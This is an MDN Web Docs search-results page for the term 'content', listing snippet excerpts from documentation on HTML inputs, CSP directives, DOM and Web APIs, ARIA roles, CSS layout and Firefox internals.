content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
...it is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your
content.
...And 5 more matches
<input type="text"> - HTML: Hypertext Markup Language
attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid pattern a regular expression the input's
contents must match in order to be valid placeholder an exemplar value to display in the input field whenever it is empty readonly a boolean attribute indicating whether or not the
contents of the input should be read-only size a number indicating how many characters wide the input field should be spellcheck controls whether or not to enable spell checking ...
... if the control's
content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
...it is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your
content.
...And 5 more matches
<input type="time"> - HTML: Hypertext Markup Language
</p> </form> the javascript code adds code to the time input to watch for the input event, which is triggered every time the
contents of an input element change.
... when this happens, the
contents of the <span> are replaced with the new value of the input element.
...llowing attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options max the latest time to accept, in the syntax described under time value format min the earliest time to accept as a valid input readonly a boolean attribute which, if present, indicates that the
contents of the time input should not be user-editable step the stepping interval to use both for user interfaces purposes and during constraint validation unlike many data types, time values have a periodic domain, meaning that the values reach the highest possible value, then wrap back around to the beginning again.
...And 5 more matches
<script>: The Script element - HTML: Hypertext Markup Language
content categories metadata
content, flow
content, phrasing
content.
... permitted
content dynamic script such as text/javascript.
... permitted parents any element that accepts metadata
content, or any element that accepts phrasing
content.
...And 5 more matches
CSP: manifest-src - HTTP
the http
content-security-policy: manifest-src directive specifies which manifest can be applied to the resource.
... syntax one or more sources can be allowed for the manifest-src policy:
content-security-policy: manifest-src <source>;
content-security-policy: manifest-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 5 more matches
CSP: prefetch-src - HTTP
the http
content-security-policy (csp) prefetch-src directive specifies valid resources that may be prefetched or prerendered.
... syntax one or more sources can be allowed for the prefetch-src policy:
content-security-policy: prefetch-src <source>;
content-security-policy: prefetch-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 5 more matches
CSP: sandbox - HTTP
the http
content-security-policy (csp) sandbox directive enables a sandbox for the requested resource similar to the <iframe> sandbox attribute.
... csp version 1.1 / 2 directive type document directive this directive is not supported in the <meta> element or by the
content-security-policy-report-only header field.
... syntax
content-security-policy: sandbox;
content-security-policy: sandbox <value>; where <value> can optionally be one of the following values: allow-downloads-without-user-activation allows for downloads to occur without a gesture from the user.
...And 5 more matches
CSP: script-src-attr - HTTP
the http
content-security-policy (csp) script-src-attr directive specifies valid sources for javascript inline event handlers.
... syntax one or more sources can be allowed for the script-src-attr policy:
content-security-policy: script-src-attr <source>;
content-security-policy: script-src-attr <source> <source>; script-src-attr can be used in conjunction with script-src:
content-security-policy: script-src <source>;
content-security-policy: script-src-attr <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url sch...
... data: allows data: uris to be used as a
content source.
...And 5 more matches
CSP: script-src-elem - HTTP
the http
content-security-policy (csp) script-src-elem directive specifies valid sources for javascript <script> elements, but not inline script event handlers like onclick.
... syntax one or more sources can be allowed for the script-src-elem policy:
content-security-policy: script-src-elem <source>;
content-security-policy: script-src-elem <source> <source>; script-src-elem can be used in conjunction with script-src:
content-security-policy: script-src <source>;
content-security-policy: script-src-elem <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 5 more matches
CSP: style-src-attr - HTTP
the http
content-security-policy (csp) style-src-attr directive specifies valid sources for inline styles applied to individual dom elements.
... syntax one or more sources can be allowed for the style-src-attr policy:
content-security-policy: style-src-attr <source>;
content-security-policy: style-src-attr <source> <source>; style-src-attr can be used in conjunction with style-src:
content-security-policy: style-src <source>;
content-security-policy: style-src-attr <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 5 more matches
CSP: style-src-elem - HTTP
the http
content-security-policy (csp) style-src-elem directive specifies valid sources for stylesheets <style> elements and <link> elements with rel="stylesheet".
... syntax one or more sources can be allowed for the style-src-elem policy:
content-security-policy: style-src-elem <source>;
content-security-policy: style-src-elem <source> <source>; style-src-elem can be used in conjunction with style-src:
content-security-policy: style-src <source>;
content-security-policy: style-src-elem <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 5 more matches
HTTP response status codes - HTTP
204 no
content there is no
content to send for this request, but the headers may be useful.
... 205 reset
content tells the user-agent to reset the document which sent this request.
... 206 partial
content this response code is used when the range header is sent from the client to request only part of a resource.
...And 5 more matches
<semantics> - MathML
in mathml there are two ways to mark up mathematics: presentation mathml is used to control the layout of equations, whereas
content mathml is designed to encode the semantic mathematical meaning and to make expressions understandable to computer algebra systems.
... the mathml elements <semantics>, <annotation> and <annotation-xml> are used to combine presentation and
content markup and to provide both, layout information and semantic meaning of mathematical expressions.
...the <annotation> element is the container element containing semantic information in a non-xml format, whereas the <annotation-xml> element contains
content in an xml format, e.g.
...And 5 more matches
Web media technologies
<video> the <video> element is an endpoint for video
content in a web context.
... it can be used to simply present video files, or as a destination for streamed video
content.
... accessibility guide for media in web design in this guide, we cover ways web designers and developers can create
content that is accessible to people with different capabilities.
...And 5 more matches
Introduction to progressive web apps - Progressive web apps (PWAs)
it should be: discoverable, so the
contents can be found through search engines.
... re-engageable, so it's able to send notifications whenever there's new
content available.
... the ability to update only the
content that has changed when an app update is available.
...And 5 more matches
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
offline first the "offline first" — or "cache first" — pattern is the most popular strategy for serving
content to the user.
...its
contents reside in the sw.js file, and can be executed after the registration is successful.
...s/icon-32.png', '/pwa-examples/js13kpwa/icons/icon-64.png', '/pwa-examples/js13kpwa/icons/icon-96.png', '/pwa-examples/js13kpwa/icons/icon-128.png', '/pwa-examples/js13kpwa/icons/icon-168.png', '/pwa-examples/js13kpwa/icons/icon-192.png', '/pwa-examples/js13kpwa/icons/icon-256.png', '/pwa-examples/js13kpwa/icons/icon-512.png' ]; next, the links to images to be loaded along with the
content from the data/games.js file are generated in the second array.
...And 5 more matches
Intrinsic Size - MDN Web Docs Glossary: Definitions of Web-related terms
in css, the intrinsic size of an element is the size it would be based on its
content, if no external factors were applied to it.
... intrinsic sizing takes into account the min-
content and max-
content size of an element.
... for text the min-
content size would be if the text wrapped as small as it can in the inline direction without causing an overflow, doing as much soft-wrapping as possible.
...And 4 more matches
Accessibility - Learn web development
overview when someone describes a site as "accessible," they mean that any user can use all its features and
content, regardless of how the user accesses the web — even and especially users with physical or mental impairments.
...web accessibility involves ensuring that
content remains accessible, regardless of who and how the web is accessed.
... html: a good basis for accessibility a great deal of web
content can be made accessible just by making sure the correct html elements are always used for the correct purpose .
...And 4 more matches
Backgrounds and borders - Learn web development
a background-color extends underneath the
content and padding box of the element.
... background attachment another option we have available for backgrounds is specifying how they scroll when the
content scrolls.
...if the element
content is scrolled, the background does not move.
...And 4 more matches
Pseudo-classes and pseudo-elements - Learn web development
article p:first-child::first-line { font-size: 120%; font-weight: bold; } generating
content with ::before and ::after there are a couple of special pseudo-elements, which are used along with the
content property to insert
content into your document using css.
...try changing the text value of the
content property and see it change in the output.
... the use of the ::before and ::after pseudo-elements along with the
content property is referred to as "generated
content" in css, and you will often see this technique being used for various tasks.
...And 4 more matches
Client-side form validation - Learn web development
a better user experience than just using maxlength is to also provide character count feedback in an accessible manner and let them edit their
content down to size.
... now delete the
contents of the <body> element, and replace it with the following: <form> <div> <label for="choose">would you prefer a banana or a cherry?</label> <input type="text" id="choose" name="i_like" required minlength="6" maxlength="6"> </div> <div> <label for="number">how many would you like?</label> <input type="number" id="number" name="amount" value="1" min="1" max="10"> </div> <d...
... emailerror.innerhtml = ''; // reset the
content of the message emailerror.classname = 'error'; // reset the visual state of the message } else { // if there is still an error, show the correct error showerror(); } }); form.addeventlistener('submit', function (event) { // if the email field is valid, we let the form submit if(!email.validity.valid) { // if it isn't, we display an appropriate error message showerror...
...And 4 more matches
Sending forms through JavaScript - Learn web development
something went wrong.' ); } ); // set up our request xhr.open( 'post', 'https://example.com/cors.php' ); // add the required http header for form data post requests xhr.setrequestheader( '
content-type', 'application/x-www-form-urlencoded' ); // finally, send our data.
...note that formdata objects are "write only", which means you can change them, but not retrieve their
contents.
...to learn more about that, see the example in accessing the element list's
contents in htmlformelement.elements.
...And 4 more matches
JavaScript basics - Learn web development
third-party apis that allow developers to incorporate functionality in sites from other
content providers, such as twitter or facebook.
... add this code to the main.js file: const myheading = document.queryselector('h1'); myheading.text
content = 'hello world!'; make sure the html and javascript files are saved.
... following that, the code set the value of the myheading variable's text
content property (which represents the
content of the heading) to hello world!.
...And 4 more matches
Manipulating documents - Learn web development
you can use this object to return and manipulate information on the html and css that comprises the document, for example get a reference to an element in the dom, change its text
content, apply new styles to it, create new elements and add them to the current element as children, or even delete it altogether.
...first of all, let's change the text inside the link by updating the value of the node.text
content property.
... add the following line below the previous one: link.text
content = 'mozilla developer network'; we should also change the url the link is pointing to, so that it doesn't go to the wrong place when it is clicked on.
...And 4 more matches
Starting our Svelte Todo list app - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/02-starting-our-todo-app or directly download the folder's
content: npx degit opensas/mdn-svelte-tutorial/02-starting-our-todo-app remember to run npm install && npm run dev to start your app in development mode.
... create a file named src/components/todos.svelte with the following
content: <h1>svelte to-do list</h1> change the title element in public/index.html to contain the text svelte to-do list: <title>svelte to-do list</title> open src/app.svelte and replace its
contents with the following: <script> import todos from './components/todos.svelte' </script> <todos /> in development mode, svelte will issue a warning in the browser console when specif...
...copy and paste the following into our todos.svelte component file, replacing the existing
content: <!-- todos.svelte --> <div class="todoapp stack-large"> <!-- newtodo --> <form> <h2 class="label-wrapper"> <label for="todo-0" class="label__lg"> what needs to be done?
...And 4 more matches
Deployment and next steps - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/08-next-steps or directly download the folder's
content: npx degit opensas/mdn-svelte-tutorial/08-next-steps remember to run npm install && npm run dev to start your app in development mode.
... before you start to upload
content to your git repository, it is a good practice to add a .gitignore file to tell git which files to exclude from source control.
... in our case we will tell git to exclude files in the node_modules directory by creating a .gitignore file in the root folder of your local project, with the following
content: node_modules/ now let's go back to gitlab.
...And 4 more matches
Command line crash course - Learn web development
em along with base level tasks such as create, copy, rename and delete: move around your directory structure: cd create directories: mkdir create files (and modify their metadata): touch copy files: cp move files: mv delete files or directories: rm download files found at specific urls: curl search for fragments of text inside larger bodies of text: grep view a file's
contents page by page: less, cat manipulate and transform streams of text (for example changing all the instances of <div>s in an html file to <article>): awk, tr, sed note: there are a number of good tutorials on the web that go much deeper into the command line on the web — this is only a brief introduction!
... listing directory
contents another built-in unix command is ls (short for list), which lists the
contents of the directory you’re currently in.
... we’ve already looked at ls, which outputs the
contents of the current directory: ls but what if we wanted to quickly count the number of files and directories inside the current directory?
...And 4 more matches
Application cache implementation overview
the association happens in ns
contentsink::processofflinemanifest() called from the html parser every time <html> tag has been parsed.
...marking entries as foreign when ns
contentsink::processofflinemanifest() discovers that the url in the manifest attribute of the html tag is different from the manifest url the channel's nsiapplicationcache object belongs to, the entry the document has been loaded from is marked “foreign” and the page load is completely restarted.
...this is the same document object that is associated the nsiapplicationcache object during the “cache selection algorithm” in ns
contentsink::processofflinemanifest() described in “associating the top level document with offline cache” chapter above.
...And 4 more matches
A bird's-eye view of the Mozilla framework
it examines what happens when the user performs a simple user interface (ui) action such as clicking a link in the
contents panel of the help viewer window shown below.
...
content (dom) the mozilla document object model (dom) specifies a logical tree structure for storing ui and document
content, and provides an api (application programming interface) for accessing and manipulating the
content.
...when an html, xml, svg or other type of document is loaded, the nglayout engine (also known as gecko) parses the
contents into a dom tree, and handles the layout and rendering of the document pages.
...And 4 more matches
Frame script loading and lifetime
to define the mapping between a chrome:// url and a frame script packaged with an extension, use a "chrome.manifest" file to register a chrome url: // chrome.manifest
content my-e10s-extension chrome/
content/ // chrome script mm.loadframescript("chrome://my-e10s-extension/
content/
content.js", true); allowdelayedload if the message manager is a global frame message manager or a window message manager then: if allowdelayedload is true, the frame script will be loaded into any new frame, which has opened after the loadframescript() call.
... for example: var mm = window.messagemanager; mm.loadframescript("chrome://my-e10s-extension/
content/frame-script.js", true); the script will be loaded into all tabs currently open in this window, and all new tabs opened afterwards.
... if you use allowdelayedload, you can cancel it by using removedelayedframescript: var mm = window.messagemanager; mm.removedelayedframescript("chrome://my-e10s-extension/
content/frame-script.js"); this means we will stop loading the script into new tabs.
...And 4 more matches
Using the Browser API
it consists of two major parts: custom <iframe> attributes: by adding a mozbrowser attribute to the <iframe> element we can make it appear like a top-level browser window to the embedded
content.
... api extensions: the api includes several new methods and events to manipulate and listen for changes to the embedded
content's state, interited by the htmliframeelement interface.
... <iframe src="http://hostname.tld" mozbrowser remote> warning: this last attribute is necessary for security reasons if you plan to load
content from an untrusted/unknown origin.
...And 4 more matches
Using the viewport meta tag to control layout on mobile browsers
background the browser's viewport is the area of the window in which web
content can be seen.
... this is often not the same size as the rendered page, in which case the browser provides scrollbars for the user to scroll around and access all the
content.
...for example, safari's documentation says the
content is a "comma-delimited list," but existing browsers and web pages use any mix of commas, semicolons, and spaces as separators.
...And 4 more matches
Investigating leaks using DMD heap scan mode
the command you need to run firefox will look something like this: xpcom_mem_bloat_log=1 moz_cc_log_shutdown=1 moz_disable_
content_sandbox=t moz_cc_log_directory=$logdir moz_cc_log_process=
content moz_cc_log_thread=main moz_dmd_shutdown_log=$logdir moz_dmd_log_process=tab ./mach run --dmd --mode=scan breaking this down: xpcom_mem_bloat_log=1: this reports a list of the counts of every object created and destroyed and tracked by the xpcom leak tracking system.
... moz_disable_
content_sandbox=t: this disables the
content process sandbox, which is needed because the dmd and cc log files are created directly by the child processes.
... moz_cc_log_process=
content moz_cc_log_thread=main: these options specify that we only want cc logs for the main thread of
content processes, to make shutdown less slow.
...And 4 more matches
Profiling with the Firefox Profiler
tip: threads that are annotated with "[default]" are in the parent (aka "ui", aka "browser chrome", aka "main") process and those annotated with "[tab]" are in the web
content (aka "child") processes.
... tip: long-running tasks in the parent process will block all input or drawing with the browser ui (aka "ui jank") whereas long-running tasks in the
content process will block interactivity with the page but still allowing the user to pan and zoom around thanks to apz.
...in this case, we have the 'geckomain [default]' process' main thread, a
content process' main thread, and the main thread of the compositor process.
...And 4 more matches
Gecko object attributes
applied to: any visible accessible id any value, defined by ui/
content developers.
... applied to: any role xml-roles if a dynamic
content accessibility role string is used, it is exposed here.
... applied to: any focusable accessible text object margin-bottom specifies how much vertical space there will be after the bottom of the last line of
content in a text accessible (see the css margin-bottom property).
...And 4 more matches
Components.utils.exportFunction
this includes add-on sdk
content scripts.
... modifying the argument while cloning creates a copy of an object, an xray for an object refers to the original, so any changes to the argument that are made in the exported function will affect the original object that was passed in: // privileged scope: for example, a
content script function changemyname(user) { user.name = "bill"; } exportfunction(changemyname,
contentwindow, { defineas: "changemyname" }); // less-privileged scope: for example, a page script var user = {name: "jim"}; var test = document.getelementbyid("test"); test.addeventlistener("click", function() { console.log(user.name); // "jim" window.changemyname(user); console.log...
...if you need unfiltered access to the original, you can waive xrays: // privileged scope: for example, a
content script function loguser(user) { // console.log(user.getuser()); // error console.log(user.wrappedjsobject.getuser()); // "bill" } exportfunction(loguser,
contentwindow, { defineas: "loguser" }); // less-privileged scope: for example, a page script var user = {getuser: function() {return "bill";}} var test = document.getelementbyid("test"); test.addeventlistener("click"...
...And 4 more matches
nsIAppShellService
obsolete since gecko 1.8 constants constant value description size_to_
content -1 create a window, which will be initially invisible.
... note: size_to_
content may be used for width or height.
... aurl the
contents of the new window.
...And 4 more matches
nsIEditor
« xpcom api reference editor/nsieditor.idlscriptable provides methods and attributes used when editing page
content.
... 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) method overview [noscript] void init(in nsidomdocument doc, in nsi
content aroot, in nsiselectioncontroller aselcon, in unsigned long aflags); void setattributeorequivalent(in nsidomelement element, in astring sourceattrname, in astring sourceattrvalue, in boolean asuppresstransaction); void removeattributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroyingframes); selected
content removal void deleteselection(in short action, in short stripwrappers); document info an...
...// flags are declared in base/public/nsidocumentencoder.idl // outputselectiononly = 1, outputformatted = 2, // outputraw = 4, outputbodyonly = 8, // outputpreformatted = 16, outputwrap = 32, // outputformatflowed = 64, outputabsolutelinks = 258, // outputencodew3centities = 256, outputcrlinebreak = 512, // outputlflinebreak = 1024, outputnoscript
content = 2048, // outputnoframes
content = 4096, outputnoformattinginpre = 8192, // outputencodebasicentities=16384, outputencodelatin1entities=32768, // outputencodehtmlentities=65536, outputpersistnbsp=131072 editorapi.outputtostring('text/html', 2); editorapi.outputtostring('text/plain', 4); // output the body tag, body children and the html end tag (</html>).
...And 4 more matches
nsIUploadChannel
inherits from: nsisupports last changed in gecko 1.7 method overview void setuploadstream(in nsiinputstream astream, in acstring a
contenttype, in long a
contentlength); attributes attribute type description uploadstream nsiinputstream get the stream (to be) uploaded by this channel.
... history here is that we need to support both streams that already have headers (for example,
content-type and
content-length) information prepended to the stream (by plugins) as well as clients (composer, uploading application) that want to upload data streams without any knowledge of protocol specifications.
... for this reason, we have a special meaning for the a
contenttype parameter.
...And 4 more matches
nsIWebNavigation
load_flags_bypass_proxy 512 this flag specifies that any intermediate proxy caches should be bypassed (that is, that the
content should be loaded from the origin server).
... load_flags_stop_
content 2048 if this flag is set, stop() will be called before the load starts and will stop both
content and network activity (the default is to only stop network activity).
... effectively, this passes the stop_
content flag to stop(), in addition to the stop_network flag.
...And 4 more matches
Mail and RDF
warning: the
content of this article may be out of date.
... reflecting data to rdf in order to have a dynamic ui that updates when the underlying
content changes, a datasource must implement two key methods of reflecting data into rdf.
...when a folder's
contents or properties change, it tells the mail session to notify the folder listeners that the data has changed.
...And 4 more matches
Add to iPhoto
it differs from a string in that it offers url-specific methods for managing the
content, and includes methods for converting between urls and file system routine data formats such as fsref and unix pathnames.
... however, obviously there are cases in which you'll want to be able to manipulate the
contents of an array by adding and removing items, sorting them, and so forth.
...all cfarray functions accept cfmutablearray objects, so you can use cfmutablearray with any routine that accepts a cfarray as input, but cfmutablearray supports additional functions that let you change the
contents of the array.
...And 4 more matches
Index - Firefox Developer Tools
this view makes it easy to visualize the nesting of your
content.
... 14 browser console browser, debugging, tools, web development, webdevelopment:tools the browser console is like the web console, but applied to the whole browser rather than a single
content tab.
...if you open a json file in the browser, or view a remote url with the
content-type set to application/json, it is parsed and given syntax highlighting.
...And 4 more matches
Blob - Web APIs
instance methods blob.prototype.arraybuffer() returns a promise that resolves with an arraybuffer containing the entire
contents of the blob as binary data.
... blob.prototype.stream() returns a readablestream that can be used to read the
contents of the blob.
... blob.prototype.text() returns a promise that resolves with a usvstring containing the entire
contents of the blob interpreted as utf-8 text.
...And 4 more matches
Compositing example - Web APIs
,'destination-out','destination-atop', 'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken', 'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light', 'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity' ].reverse(); var gcotext = [ 'this is the default setting and draws new shapes on top of the existing canvas
content.', 'the new shape is drawn only where both the new shape and the destination canvas overlap.
... everything else is made transparent.', 'the new shape is drawn where it doesn\'t overlap the existing canvas
content.', 'the new shape is only drawn where it overlaps the existing canvas
content.', 'new shapes are drawn behind the existing canvas
content.', 'the existing canvas
content is kept where both the new shape and existing canvas
content overlap.
... everything else is made transparent.', 'the existing
content is kept where it doesn\'t overlap the new shape.', 'the existing canvas is only kept where it overlaps the new shape.
...And 4 more matches
DataTransferItem.webkitGetAsEntry() - Web APIs
html
content the html establishes the drop zone itself, which is a <div> element with the id "dropzone", and an unordered list element with the id "listing".
... <p>drag files and/or directories to the box below!</p> <div id="dropzone"> <div id="boxtitle"> drop files here </div> </div> <h2>directory tree:</h2> <ul id="listing"> </ul> css
content the styles used by the example are shown here.
... #dropzone { text-align: center; width: 300px; height: 100px; margin: 10px; padding: 10px; border: 4px dashed red; border-radius: 10px; } #boxtitle { display: table-cell; vertical-align: middle; text-align: center; color: black; font: bold 2em "arial", sans-serif; width: 300px; height: 100px; } body { font: 14px "arial", sans-serif; } javascript
content first, let's look at the recursive scanfiles() function.
...And 4 more matches
Document - Web APIs
the document interface represents any web page loaded in the browser and serves as an entry point into the web page's
content, which is the dom tree.
...html, xml, svg, …), a larger api is available: html documents, served with the "text/html"
content type, also implement the htmldocument interface, whereas xml and svg documents implement the xmldocument interface.
... document.
contenttype read only returns the
content-type from the mime header of the current document.
...And 4 more matches
Introduction to the DOM - Web APIs
the document object model (dom) is the data representation of the objects that comprise the structure and
content of a document on the web.
...we'll look at how the dom represents an html or xml document in memory and how you use apis to create web
content and applications.
...it represents the page so that programs can change the document structure, style, and
content.
...And 4 more matches
EventTarget.addEventListener() - Web APIs
if true, the listener receives synthetic events dispatched by web
content (the default is false for browser chrome and true for regular web pages).
... html <table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table> javascript // function to change the
content of t2 function modifytext() { const t2 = document.getelementbyid("t2"); if (t2.firstchild.nodevalue == "three") { t2.firstchild.nodevalue = "two"; } else { t2.firstchild.nodevalue = "three"; } } // add event listener to table const el = document.getelementbyid("outside"); el.addeventlistener("click", modifytext, false); in this code, modifytext() is a listener for click events ...
... html <table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table> javascript // function to change the
content of t2 function modifytext(new_text) { const t2 = document.getelementbyid("t2"); t2.firstchild.nodevalue = new_text; } // function to add event listener to table const el = document.getelementbyid("outside"); el.addeventlistener("click", function(){modifytext("four")}, false); notice that the listener is an anonymous function that encapsulates code that is then, in turn, able to send parame...
...And 4 more matches
HTMLImageElement.alt - Web APIs
perhaps the most important reason to use the alt tag is to support accessibility, as the alt text may be used by screen readers and other assistive technologies to help differently-abled users make full use of your
content.
... <div class="container"> <div class="left-margin"> <img src="/files/16861/margin-flourish.svg" alt=""> </div> <div class="
contents"> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
... padding: 0; } p { margin-block-start: 0; margin-block-end: 1em; margin-top: 0; margin-bottom: 1em; } .container { width: 100vh; height: 95vh; font: 16px arial,helvetica,sans-serif; } .left-margin { background-color: rgb(241, 240, 237, 255); width: 9em; height: 100%; float: left; margin-right: 5px; padding-right: 1em; display: flex; align-items: center; justify-
content: center; } .left-margin img { width: 6em; } .
contents { background-color: rgb(241, 240, 235, 255); height: 100%; margin-left: 2em; padding-top: 1em; padding-left: 2em; padding-right: 1em; } result images used as buttons when using an image as a button (by using it as the only visible child of an <a> element representing a hyperlink), the alt attribute must be used to convey ...
...And 4 more matches
HTMLOutputElement - Web APIs
htmloutputelement.value a domstring representing the value of the
contents of the elements.
... behaves like the node.text
content property.
... default mode initially, the element is in default mode, and so the
contents of the element represent both the value of the element and its default value.
...And 4 more matches
The HTML DOM API - Web APIs
interacting with the
contents of 2d images and the context of an html <canvas>, for example to draw on top of them.
... dragging and dropping of
content on webpages.
... nodes don't have any concept of including the
content that is actually displayed in the document.
...And 4 more matches
Using the Media Capabilities API - Web APIs
for example, you can use the api to ensure that you don't try to play high dynamic range (hdr)
content on a standard dynamic range (sdr) screen.
...a plain file or mediasource — and a videoconfiguration including values for the
contenttype, width, height, bitrate, and framerate: the
contenttype must be a string specifying a valid video mime type.
... const videoconfiguration = { type: "file", video: {
contenttype: "video/webm;codecs=vp8", width: 800, height: 600, bitrate: 10000, framerate: 15 } }; had we been querying the decodability of an audio file, we would create an audio configuration including the number of channels and sample rate, leaving out the properties that apply only to video—namely, the dimensions and the frame rate: const audioconfiguration = { type: "file", audio: {
content...
...And 4 more matches
Media Source API - Web APIs
mse gives us finer grained control over how much and how often
content is fetched, and some control over memory usage details, such as when buffers are evicted.
...the usage of external utilities to massage the
content into a suitable format is required.
... if you do not require explicit control of video quality over time, the rate at which
content is fetched, or the rate at which memory is evicted, then the <video> and <source> tags may well be a simple and adequate solution.
...And 4 more matches
Node - Web APIs
node.baseuriobject read only (not available to web
content.) the nsiuri object representing the base uri for the element.
... node.text
content returns / sets the textual
content of an element and all its descendants.
... node.clonenode() clone a node, and optionally, all of its
contents.
...And 4 more matches
Range - Web APIs
range.selectnode() sets the range to contain the node and its
contents.
... range.selectnode
contents() sets the range to contain the
contents of a node.
... range.clone
contents() returns a documentfragment copying the nodes of a range.
...And 4 more matches
ResizeObserverEntry - Web APIs
resizeobserverentry.
contentboxsize read only an object containing the new
content box size of the observed element when the callback is run.
... resizeobserverentry.
contentrect read only a domrectreadonly object containing the new size of the observed element when the callback is run.
... note: the
content box is the box in which
content can be placed, meaning the border box minus the padding and border width.
...And 4 more matches
SVGSVGElement - Web APIs
svgsvgelement.
contentscripttype an svganimatedlength corresponding to the
contentscripttype attribute of the given <svg> element.
... svgsvgelement.
contentstyletype an svganimatedlength corresponding to the
contentstyletype attribute of the given <svg> element.
...when the browser is actually rendering the
content, then the position and size values represent the actual values when rendering.
...And 4 more matches
Text - Web APIs
the text interface represents the textual
content of element or attr.
... if an element has no markup within its
content, it has a single child implementing text that contains the element's text.
...over time, more text nodes may be created as the document's
content changes.
...And 4 more matches
Window - Web APIs
window.innerheight read only gets the height of the
content area of the browser window including, if rendered, the horizontal scrollbar.
... window.innerwidth read only gets the width of the
content area of the browser window including, if rendered, the vertical scrollbar.
...(this does not yet appear to be implemented in any browser.) deprecated properties window.
content and window._
content read only returns a reference to the
content element in the current window.
...And 4 more matches
Synchronous and asynchronous requests - Web APIs
this handler looks at the request's readystate to see if the transaction is complete in line 4; if it is, and the http status is 200, the handler dumps the received
content.
...this is a standard function which uses the xmlhttprequest object asynchronously in order to switch the
content of the read file to a specified listener.
...the null parameter indicates that no body
content is needed for the get request.
...And 4 more matches
ARIA annotations - Accessibility
role="insertion" and role="deletion" — semantically denote html elements whose
contents represent an insertion to or deletion from the overall document.
... role="comment" — semantically denotes a comment/reaction to some
content on the page, or to a previous comment.
... to provide a semantic association between the document
content being annotated and the annotation, an aria-details attribute can be set on the annotated
content that contains the id of the annotated element.
...And 4 more matches
ARIA: timer role - Accessibility
description the timer role indicates to assistive technologies that this part of the web
content is a live region containing a timer listing the time remaining or elapsed time.
...all aspects of interaction, including returning to the regular web
content on other parts of the page, must be handled.
...the clock is updated each minute, with the new remaining time simply overwriting the current
content.
...And 4 more matches
ARIA: feed role - Accessibility
a feed enables screen readers to use the browse mode reading cursor to both read and scroll through a stream of rich
content that may continue scrolling infinitely by loading more
content as the user reads.
...these streams can be limited or infinite, loading more
content as the user scrolls.
... implementing the feed pattern allows a screen reader to reliably read and trigger the loading of feed
content while in reading mode.
...And 4 more matches
ARIA: tab role - Accessibility
the common user experience pattern is a group of visual tabs above, or to the side of, a
content area, and selecting a different tab changes the
content and makes the selected tab more prominent than the other tabs.
... associated roles and attributes aria-selected boolean aria-controls id of element with tabpanel role id
content keyboard interaction key action tab when focus is outside of the tablist moves focus to the active tab.
... required javascript features while there are ways to build tab-like functionality without javascript, there are no substitute combination of html and css only that will provide the same set of functionality that's required above for accessible tabs with
content.
...And 4 more matches
An overview of accessible web applications and widgets - Accessibility
the problem dynamic
content on a web page can be particularly problematic for users who, for whatever reason, are unable to view the screen.
... stock tickers, live twitter feed updates, progress indicators, and similar
content modify the dom in ways that an assistive technology (at) may not be aware of.
...--> <ol> <li id="ch1tab"> <a href="#ch1panel">chapter 1</a> </li> <li id="ch2tab"> <a href="#ch2panel">chapter 2</a> </li> <li id="quiztab"> <a href="#quizpanel">quiz</a> </li> </ol> <div> <div id="ch1panel">chapter 1
content goes here</div> <div id="ch2panel">chapter 2
content goes here</div> <div id="quizpanel">quiz
content goes here</div> </div> example 2: how the tabs widget might be styled visually.
...And 4 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
color, contrast, and luminance are among the most central and critical concepts to creating accessible web
content with color.
... in speaking specifically to relative luminance, wcag's definition of relative luminance notes: "note 2: almost all systems used today to view web
content assume srgb encoding.
... unless it is known that another color space will be used to process and display the
content, authors should evaluate using srgb colorspace.
...And 4 more matches
Box alignment in Flexbox - CSS: Cascading Style Sheets
basic example in this example, three flex items are aligned on the main axis using justify-
content and on the cross axis using align-items.
... the axes and flex-direction flexbox respects the writing mode of the document, therefore if you are working in english and set justify-
content to flex-end this will align the items to the end of the flex container.
...in this case, justify-
content will align items in the block direction.
...And 4 more matches
Introduction to formatting contexts - CSS: Cascading Style Sheets
everything on a page is part of a formatting context, or an area which has been defined to lay out
content in a particular way.
...on: sticky) elements with display: inline-block table cells or elements with display: table-cell, including anonymous table cells created when using the display: table-* properties table captions or elements with display: table-caption block elements where overflow has a value other than visible elements with display: flow-root or display: flow-root list-item elements with contain: layout,
